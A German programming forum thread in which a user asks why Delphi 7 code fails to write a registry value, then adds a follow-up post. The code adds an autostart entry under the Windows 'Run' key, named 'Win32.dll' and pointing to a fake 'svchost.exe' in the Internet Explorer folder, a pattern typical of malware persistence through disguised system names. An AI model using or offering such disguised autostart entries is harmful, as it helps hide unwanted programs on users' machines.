Programmieren - alles kontrollieren 4.939 Themen, 20.672 Beiträge

in die registry schreiben...was mache ich falsch?

KoRny Boy / 5 Antworten / Flachansicht Nickles

hi,

mein betriebsystem ist windows xp und ich programmiere in delphi 7 personal edition.

folgender quelltext funktioniert nicht so wie ich möchte. das ist eine fast 1 zu 1 kopie aus der delphi hilfe:


reg:=TRegistry.Create;
reg.RootKey:=HKEy_Local_Machine;
if reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true)
then begin
showmessage('open');
reg.WriteString('Win32.dll','C:\Programme\Internet'
+'explorer\svchost.exe');
reg.CloseKey;
end;
reg.Free;



Es kommt keine Fehlermeldung aber auch kein Eintrag in die Registry.
Was mache ich hier falsch?

gruß
korny boy
Wer anderen eine Grube gräbt ist selbst ein Schwein
bei Antwort benachrichtigen
KoRny Boy Nachtrag zu: „in die registry schreiben...was mache ich falsch?“
Optionen

es liegt auf jeden fall daran dass er den schlüssel nicht öffnen kann. was aus diesem quelltext hervorgeht.


reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false)
then begin
showmessage('open'); //Diese Meldung wird nicht angezeigt.
reg.WriteString('Win32.dll','C:\Programme\Internet Explorer\svchost.exe');
reg.CloseKey;
end;
reg.Free;
Wer anderen eine Grube gräbt ist selbst ein Schwein
bei Antwort benachrichtigen